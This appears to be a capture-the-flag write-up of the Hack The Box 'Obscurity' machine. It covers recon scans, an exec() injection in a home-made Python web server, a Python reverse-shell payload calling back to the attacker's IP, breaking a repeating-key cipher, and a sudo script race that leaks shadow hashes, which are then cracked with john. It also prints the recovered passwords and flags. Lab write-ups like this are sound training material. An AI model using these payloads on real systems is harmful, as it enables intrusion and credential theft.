Hack The Box Machines: Obscurity

Nmap TCP results

# Nmap 7.80 scan initiated Sun Mar 15 19:21:03 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/Documents/hackTheBox/HackTheBox/machines/obscurity/autorecon/results/scans/_full_tcp_nmap.txt -oX /home/kali/Documents/hackTheBox/HackTheBox/machines/obscurity/autorecon/results/scans/xml/_full_tcp_nmap.xml 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up, received user-set (0.055s latency).
Scanned at 2020-03-15 19:21:17 EDT for 144s
Not shown: 65531 filtered ports
Reason: 65531 no-responses
PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMGbaGqnhJ5GoiEH4opql41JoOBmB089aA2wQZgp5GCxf3scJti3BWS30ugrj2PBMydulKmeiAbHWA37ojLyAJxSdvyWrPqneEZfdaMCm/9NPnPSouZgQKLoOg/w8DEPeXfon8bxGYOt3HMXtVMk04/kt09ad7E2Eej8WzAp2k3JJX17ndZL0S5UNDJFyh6pHhGqCtjOapLGb1QwS7BDw+kHiZrkZbDRa1rMv5a/QoljgOIq0byvm5jEVe4NhKKfgwH7kXEU1DAlXmWYzsq/ZdhhwutrjbDam5alw4UAE/35DcPlnVl/7eRK6RIARJPZEQ0O64ixlzbAfIcDGi8GOr
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAygZOWHjNzQWySvfTX7s9Cnz0eSrc9IS/8wk126Wby5EAUmSalXlAL5WETz8nu/JN8nVpgHYEW6/mZm071xMd0=
|   256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ6lPjlgfOScC0NXPX926fST+MXZViZJzBQPXDWsdHuw
80/tcp   closed http       reset ttl 63
8080/tcp open   http-proxy syn-ack ttl 63 BadHTTPServer
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Mar 2020 23:24:33
|     Server: BadHTTPServer
|     Last-Modified: Sun, 15 Mar 2020 23:24:33
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener reset ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=9%D=3/15%Time=5E6EB8DE%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Sun,\x2015\x20Mar\x2020
SF:20\x2023:24:33\nServer:\x20BadHTTPServer\nLast-Modified:\x20Sun,\x2015\
SF:x20Mar\x202020\x2023:24:33\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Sun,\x2015\x20Mar\x202020\x2023:24:33\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Sun,\x2015\x20Mar\x202020\x2023:24:33\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.18 (92%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.16 (91%), Oracle VM Server 3.4.2 (Linux 4.1) (90%), Android 4.1.1 (90%), Android 4.1.2 (90%), Crestron XPanel control system (90%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=3/15%OT=22%CT=80%CU=%PV=Y%DS=2%DC=T%G=N%TM=5E6EB8FD%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 49.058 days (since Sun Jan 26 17:00:45 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   54.98 ms 10.10.14.1
2   54.99 ms 10.10.10.168

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 15 19:23:41 2020 -- 1 IP address (1 host up) scanned in 157.67 seconds

WhatWeb results:

WhatWeb report for http://10.10.10.168:8080
Status    : 200 OK
Title     : 0bscura
IP        : 10.10.10.168
Country   : RESERVED, ZZ

Summary   : JQuery, Email[secure@obscure.htb], HTML5, Script, HTTPServer[BadHTTPServer], X-UA-Compatible[IE=Edge]

Detected Plugins:
[ Email ]
    Extract email addresses. Find valid email address and 
    syntactically invalid email addresses from mailto: link 
    tags. We match syntactically invalid links containing 
    mailto: to catch anti-spam email addresses, eg. bob at 
    gmail.com. This uses the simplified email regular 
    expression from 
    http://www.regular-expressions.info/email.html for valid 
    email address matching. 

    String       : secure@obscure.htb

[ HTML5 ]
    HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
    HTTP server header string. This plugin also attempts to 
    identify the operating system from the server header. 

    String       : BadHTTPServer (from server string)

[ JQuery ]
    A fast, concise, JavaScript that simplifies how to traverse 
    HTML documents, handle events, perform animations, and add 
    AJAX. 

    Website     : http://jquery.com/

[ Script ]
    This plugin detects instances of script HTML elements and 
    returns the script language/type. 


[ X-UA-Compatible ]
    This plugin retrieves the X-UA-Compatible value from the 
    HTTP header and meta http-equiv tag. - More Info: 
    http://msdn.microsoft.com/en-us/library/cc817574.aspx 

    String       : IE=Edge

HTTP Headers:
    HTTP/1.1 200 OK
    Date: Sun, 15 Mar 2020 23:23:06
    Server: BadHTTPServer
    Last-Modified: Sun, 15 Mar 2020 23:23:06
    Content-Length: 4171
    Content-Type: text/html
    Connection: Closed

Using dirsearch to enumerate hidden directory

kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity/autorecon$ /home/kali/tools/dirsearch/dirsearch.py -u 10.10.10.168:8080 -E 

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 10 | Wordlist size: 8673

Error Log: /home/kali/tools/dirsearch/logs/errors-20-03-15_19-43-24.log

Target: 10.10.10.168:8080

[19:43:25] Starting: 
[19:44:30] 200 -    4KB - /index.html

Task Completed

The website:

website

Some interesting things in the website website

website

This VM runs a home made web server. There are other information we can found in this website: 1) They are building a more secure SSH software and a unbreakable cipher. 2) Somewhere there is the source for the web server.

We know there is a SuperSecureServer.py file in the FS, also it is not possible to browse the directories, so we have to look for something in the form http://10.10.10.168/XXX/SuperSecureServer.py The best tool, in my opinion, to do that is wfuzz. So we try to identify the subdirectory used to store the source code.

kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity$ wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --sc 200  http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 4614

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                      
===================================================================

000001245:   200        170 L    498 W    5892 Ch     "develop"                                                                                                                                                                    

Total time: 53.03077
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 87.00607

we can, then, download the sourcecode from http://10.10.10.168:8080/develop/SuperSecureServer.py:

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Looking at this two lines, we can see a dangerous method in use:

            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?

The server will exec the vale of info variable. I add a "print" instruction in the code, so I can understand how the executed string is built.

            info = "output = 'Document: {}'" # Keep the output for later debug
            print ((info.format(path)))

I use, as a probe, the command print("test") if the RCE injection works, I'll see the word test in the server log/output. If I send a command directly:

kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity/server$ curl "http://10.10.14.10:9876/print(%22Test%22);"

the executed variable assumes the value:

GET /print(%22Test%22); from 10.10.14.10
output = 'Document: /print("Test");'

so, doing the exec with this value does not help us. We have to remove the "Document: /" part and then we will obtain an executable command. We have to put a "'" after the slash and a command separator, for one line python scripts the separator is ";". Moreover we have to grant the output variable value is valid, so we have to add anoter "'" to the end of the request URL. The payload, then, is: ';print("Test");'

so we send curl "http://10.10.14.10:9876/';print(%22Test%22);'" the server responds with

GET /';print(%22Test%22);' from 10.10.14.10
output = 'Document: /';print("Test");''
Test

Exploitation

we can use the discovered RCE to inject a python reverse shell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

the payload has to be URL encoded:

import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.10%22%2C6666%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29

we do the request and we got the reverse shell Webmin Login

Doing the recognition the user flag was found in the user's robert home.

www-data@obscure:/$ ls -la /home/robert
ls -la /home/robert
total 60
drwxr-xr-x 7 robert robert 4096 Dec  2 09:53 .
drwxr-xr-x 3 root   root   4096 Sep 24 22:09 ..
lrwxrwxrwx 1 robert robert    9 Sep 28 23:28 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct  3 16:02 .cache
-rw-rw-r-- 1 robert robert   94 Sep 26 23:08 check.txt
drwxr-x--- 3 robert robert 4096 Dec  2 09:53 .config
drwx------ 3 robert robert 4096 Oct  3 22:42 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct  3 16:34 .local
-rw-rw-r-- 1 robert robert  185 Oct  4 15:01 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4 15:01 passwordreminder.txt
-rw-r--r-- 1 robert robert  807 Apr  4  2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct  4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25 14:12 user.txt
www-data@obscure:/$ 

There also the other 2 "super secure" services.

The file passwordreminder.txt seems very interesting, it contains binary data, maybe it is encrypted with the "SuperSecureCrypt.py" script. There are also two more useful files, the first is check.txt and the second is out.txt .

www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct! 

so the out.txt file contains the encrypted check.txt content.

Analyzing the SuperSecureCrypt.py it seems a variation of the Vigenère cipher, extended to the whole ASCII space (255 bytes)

The byte encoding routine is: newChr = chr((newChr + ord(keyChr)) % 255) and the decryption is newChr = chr((newChr - ord(keyChr)) % 255). Let call encrypted the encrypted value for a specific plaintext value and key the encryption key, doing a little algebra we can recover the encryption key with a very simple python script:

key=''
with open('/home/robert/out.txt', 'r', encoding='UTF-8') as f:
    encrypted = f.read()

with open('/home/robert/check.txt', 'r', encoding='UTF-8') as f:
    plaintext = f.read()

for i in range (0,len(plaintext)):
    r=(ord(encrypted[i])-ord(plaintext[i])) % 255
    key+=(chr(r))
print(key)

so:

www-data@obscure:/tmp$ echo "key=''
with open('/home/robert/out.txt', 'r', encoding='UTF-8') as f:
    encrypted = f.read()

with open('/home/robert/check.txt', 'r', encoding='UTF-8') as f:
    plaintext = f.read()

for i in range (0,len(plaintext)):
    r=(ord(encrypted[i])-ord(plaintext[i])) % 255
    key+=(chr(r))
print(key)echo "key=''
> with open('/home/robert/out.txt', 'r', encoding='UTF-8') as f:
>     encrypted = f.read()
> 
> with open('/home/robert/check.txt', 'r', encoding='UTF-8') as f:
>     plaintext = f.read()
> 
> for i in range (0,len(plaintext)):
>     r=(ord(encrypted[i])-ord(plaintext[i])) % 255
>     key+=(chr(r))
> " > key_enc.py
print(key)" > key_enc.py
www-data@obscure:/tmp$ python3 ./key_enc.py
python3 ./key_enc.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
www-data@obscure:/tmp$ 

The encryption key is alexandrovich

we try to use this key to decrypt the passwordreminder.txt file:

www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -k alexandrovich -i passwordreminder.txt -d -o /tmp/aaa
asswordreminder.txt -d -o /tmp/aaaxandrovich -i pa
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to /tmp/aaa...
www-data@obscure:/home/robert$ cd /tmp
cd /tmp
www-data@obscure:/tmp$ cat aaa
cat aaa
SecThruObsFTW

the password is SecThruObsFTW and it is the password for robert using ssh:

kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity/server$ ssh robert@10.10.10.168
The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established.
ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.168' (ECDSA) to the list of known hosts.
robert@10.10.10.168's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Mar 16 16:54:38 UTC 2020

  System load:  0.0               Processes:             129
  Usage of /:   45.9% of 9.78GB   Users logged in:       0
  Memory usage: 17%               IP address for ens160: 10.10.10.168
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

40 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Mar 16 15:51:53 2020 from 10.10.14.7
robert@obscure:~$ cat user.txt 
e4493782066b55fe2755708736ada2d7

The user flag is e4493782066b55fe2755708736ada2d7

Running a privilege escalation check script I found this message:

[+] We can sudo without supplying a password!
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

So we can run the script as root. Looking at the script, it read the shadow file content and write it in a temp file. It asks for valid credentials and if the user is not able to authenticate, the temp file will be removed. The interesting things are the sleeps inserted in the code. If we can issue a Control-C just after sending the password, we can break the script and recover the password hashes First we have to make the /tmp/SSH directory:

robert@obscure:~/BetterSSH$ mkdir /tmp/SSH
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: root
^CTraceback (most recent call last):
  File "/home/robert/BetterSSH/BetterSSH.py", line 26, in <module>
    time.sleep(.1)
KeyboardInterrupt
robert@obscure:~/BetterSSH$ ls -la /tmp/SSH/
total 12
drwxrwxr-x  2 robert robert 4096 Mar 16 23:54 .
drwxrwxrwt 11 root   root   4096 Mar 16 23:54 ..
-rw-r--r--  1 root   root    249 Mar 16 23:54 bTAgFLrN
robert@obscure:~/BetterSSH$ cat /tmp/SSH/bTAgFLrN 
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7




robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0

We can, then, crack the root password:

kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity$ /sbin/john --fork=3 --format=sha512crypt root.hash /usr/share/wordlists/rockyou.txt 
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Node numbers 1-3 of 3 (fork)
Proceeding with single, rules:Single
Almost done: Processing the remaining buffered candidate passwords, if any.
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Almost done: Processing the remaining buffered candidate passwords, if any.
mercedes         (?)
1 1g 0:00:00:00 DONE 2/3 (2020-03-16 19:32) 2.380g/s 1523p/s 1523c/s 1523C/s crystal..porter
Waiting for 2 children to terminate
2 0g 0:00:00:13 59.79% 2/3 (ETA: 19:32:53) 0g/s 1885p/s 1885c/s 1885C/s Freedom3..Lacrosse3
3 0g 0:00:00:13 46.58% 2/3 (ETA: 19:32:59) 0g/s 1875p/s 1875c/s 1875C/s sufuR..ykciV
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

the root password il mercedes So we can become root and own the system:

robert@obscure:~/BetterSSH$ su - root
Password: 
root@obscure:~# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:~# cat root.txt 
512fd4429f33a113a44d5acde23609e3
root@obscure:~# 

The root flag is 512fd4429f33a113a44d5acde23609e3